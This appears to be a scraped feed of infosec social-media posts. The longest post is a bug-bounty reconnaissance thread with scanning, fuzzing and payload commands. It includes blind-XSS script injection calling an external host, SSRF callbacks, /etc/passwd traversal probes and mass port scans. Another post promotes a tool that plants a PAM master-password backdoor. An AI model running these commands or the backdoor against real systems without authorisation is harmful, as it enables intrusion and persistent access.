Rick

Cool geek into Cybersecurity, InfoSec, forensics & Star Wars. 😎

[Kali Linux @kalilinux]

Kali Linux 2026.2 Release (GNOME 50, KDE 6.6, Helper Scripts, APT Formats & VM Boot Tweaking): It’s the final week of Q2, and Kali Linux 2026.2 is here - right on schedule ;) We have been heads down since our last release, and we are ready to share what… https://t.co/kv4knEBCQs

[Co11ateral @co11ateral]

PAM Skeleton Key

Automates the creation of a backdoor for Linux PAM (Pluggable Authentication Modules). Allows attackers to set a master password on the system that grants full access

Ubuntu and Debian systems are vulnerable to this technique.

https://t.co/wig9dfHw4K

#redteam #blueteam #pentesting #ThreatIntel

[Cyber Security News @The_Cyber_News]

🛡️ OpenAnt – AI-Based vulnerability Scanner to Detect Vulnerabilities

Source: https://t.co/FgnOmWxiMb

OpenAnt is an open-source, LLM-based vulnerability discovery tool designed to help security teams and open-source maintainers proactively identify verified security flaws with minimal false positives and false negatives.

OpenAnt operates through a structured CLI-based pipeline that users run against local or remote repositories.

The workflow includes six sequential commands — parse, enhance, analyze, verify, build-output, and report — or can be executed in a single step using openant scan --verify.

#cybersecuritynews

[OccupytheWeb @three_cube]

Web App Hacking: Finding Web App Vulnerabilities with Caido Scanner

Caido just became a serious Burp killer.

Scanner plugin auto-detects vulns as you browse + launches targeted attacks on suspicious endpoints:

https://t.co/wkiXeRK5CU

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Here some RCE reports. You should read 📔
https://t.co/EihYCRZYCJ
https://t.co/Fbma5XSo4H https://t.co/Y9305qKdHd https://t.co/FsJDsqJUqA https://t.co/Qort2wF5y1 https://t.co/aFO4v9mSsj https://t.co/d0GAjZGhmz https://t.co/j0h4D7JkSU https://t.co/xHL4eW3Cag
#bugbounty #infosec

[Csaba Kissi @csaba_kissi]

Git essential commands

[X @TheMsterDoctor1]

🧠 Advanced Web Reconnaissance Methodology (2025+ Edition)

🌎 Subdomain Enumeration

subfinder -d https://t.co/JqbiQ8bJKL -all -recursive -t 100 -silent | anew subdomains.txt
puredns resolve subdomains.txt -r resolvers.txt | anew resolved_subdomains.txt

WHY: puredns = mass + accurate brute + wildcard filtering. Use anew to append only new results for iterative scans.
⸻

🚦 Live Hosts Discovery (Smart Probing)

cat resolved_subdomains.txt | httpx -ports 80,443,8443,8080,8000,8888,3000,5000,10000 -threads 300 -status-code -web-server -title -tech-detect -json | tee live_hosts.json

WHY: Use extra ports, server detection, and JSON output for automation.
⸻

📦 Passive + Active URL Collection

cat resolved_subdomains.txt | waybackurls | anew wayback.txt
cat resolved_subdomains.txt | gau --threads 100 | anew gau.txt
cat resolved_subdomains.txt | katana -d 5 -ps -jc -fx | anew katana.txt
cat wayback.txt gau.txt katana.txt | sort -u | anew all_urls.txt

WHY: Combine all sources for maximum coverage, de-duplicated.
⸻

🧹 Sensitive Files + Extensions Discovery

cat all_urls.txt | grep -iE '\.(xls|xml|xlsx|json|pdf|sql|doc|docx|pptx|txt|zip|gz|bak|rar|7z|log|cache|secret|db|backup|yml|config|csv|yaml|md|env|ini)$' | anew sensitive_files.txt

WHY: Grepping extensions to hunt for public secrets/data leaks.
⸻

🧩 URL Sorting & Parameter Discovery

cat all_urls.txt | uro | anew deduped_urls.txt
cat deduped_urls.txt | grep "=" | qsreplace 'FUZZ' | anew param_urls.txt

WHY: Focus only on URLs with parameters, ready for fuzzing.
⸻

🧱 Hidden Parameters (Arjun & Wordlist)

arjun -i param_urls.txt -oT arjun_params.txt -t 50 --passive

WHY: Finds undocumented parameters via passive techniques.
⸻

🎯 XSS Discovery (Blind + Reflected)

cat param_urls.txt | qsreplace '<script src=https://t.co/PTk3iy5Ips></script>' | httpx -mc 200 -mr '<script src=https://t.co/PTk3iy5Ips></script>' -threads 100

WHY: Blind XSS test via collaborator on all param URLs.

echo https://t.co/JqbiQ8bJKL | gau | gf xss | uro | Gxss | kxss | anew xss_candidates.txt

WHY: Combined gf + Gxss + kxss → Reflected XSS hunting.
⸻

🧬 LFI/SSRF/FUZZ (FFUF Advanced)

ffuf -w wordlists/lfi.txt -u https://t.co/2YMfTU6oD7 -mc 200 -ac -t 100 -c

WHY: Use specific wordlists, aggressive + smart matching.

cat urls.txt | grep '&' | qsreplace 'https://t.co/G04vdb0UkB' | httpx -mc 200

WHY: SSRF simple header injection test.
⸻

🧹 Directory Bruteforce (Stealth + Advanced)

ffuf -w wordlists/directory-list-2.3-medium.txt -u https://t.co/TOpsn7uJl4 -t 200 -ac -recursion -recursion-depth 3 -e .php,.bak,.old,.conf,.log -fc 404,403 -c

WHY: Recursive, stealthy, extension + status-code smart filter.
⸻

🗺️ JS Files Hunting & Analysis

cat all_urls.txt | grep -Ei '\.js$' | httpx -mc 200 -content-type | anew jsfiles.txt
cat jsfiles.txt | nuclei -t exposures/ | anew js_leaks.txt

WHY: Grab JS → use Nuclei for leak detection → auto hunting.
⸻

⚙️ Subdomain Takeover

subzy run --targets resolved_subdomains.txt --concurrency 100 --hide_fails --verify_ssl
⸻

🌐 CORS Misconfigurations

python3 https://t.co/qkttCd4knf -i live_hosts.json -t 50 --headers 'User-Agent: GoogleBot\nCookie: SESSION=Owned'
⸻

🧹 Content-Type Filter (For Upload / RCE Paths)

cat gau.txt | grep -Eo '(\/[^\/]+)\.(php|asp|aspx|jsp|cgi)$' | httpx -mc 200 -content-type | grep -E 'text/html|application/xhtml+xml'
⸻

🔎 Shodan, Public Intelligence

https://t.co/jFgCV0QBKg:"https://t.co/JqbiQ8bJKL" port:443
⸻

📊 Naabu + Nmap + Masscan (Ports + Services)

naabu -list resolved_subdomains.txt -p - -c 100 -o ports.txt
masscan -p1-65535 x.x.x.x --rate 100000 -oG masscan.txt
nmap -p- -A -iL ports.txt -oA fullnmap
⸻

🧠 Bonus: Smart Automation for XSS + LFI + SSRF

cat param_urls.txt | gf xss | qsreplace '<script>alert(1)</script>' | httpx -mc 200 -mr '<script>alert(1)</script>' | anew xss_found.txt
cat param_urls.txt | gf lfi | qsreplace '../../../../etc/passwd' | httpx -mc 200 -mr 'root:x' | anew lfi_found.txt

⸻

[Hack The Box @hackthebox_eu]

Mastering AD starts with knowing the right commands 👌
This cheatsheet covers the fundamentals used across labs, training, and assessments. Take your skills further with the #HTB CAPE path and certification:
https://t.co/yzPfDY7JdL

#HackTheBox #ADpentesting #CyberSecurity #RedTeam #Infosec #HTBAcademy

[sysxplore @sysxplore]

Linux iptables examples

[Mololuwa | Cybersecurity - (The God Complex) @cyber_rekk]

🚨 How I Traced a Malware Infection in Network Traffic from DNS Query to Data Exfiltration using Wireshark

Incident report summary available below 👇

A thread (🧵)

Before anyone noticed, an infected machine checked its public IP, established a connection with a remote server, and began exfiltrating data. But how did it happen?

Here’s how I uncovered the attack—step by step. 🧵👇

[Tech Fusionist @techyoutbe]

Curl Commands Cheatsheet 🔥🚀

[Harshleen @0xharshleen]

📌Bash Scripting Basics

[Rick @_HexRoot]

@elonmusk

[David Bombal @davidbombal]

Is Microsoft Recall MANDATORY now?

What do you think? Over reacting? Or is this really a privacy concern?

#windows #microsoft #ai #linux #macos #blackmirror #privacy @_JohnHammond @christitustech

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚨Authentication - Security Test cases 🚨

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[TRÄW🤟 @thatstraw]

Bash cheat sheet: (), {}, $(()), $(), ${}, [], [[]] what are they?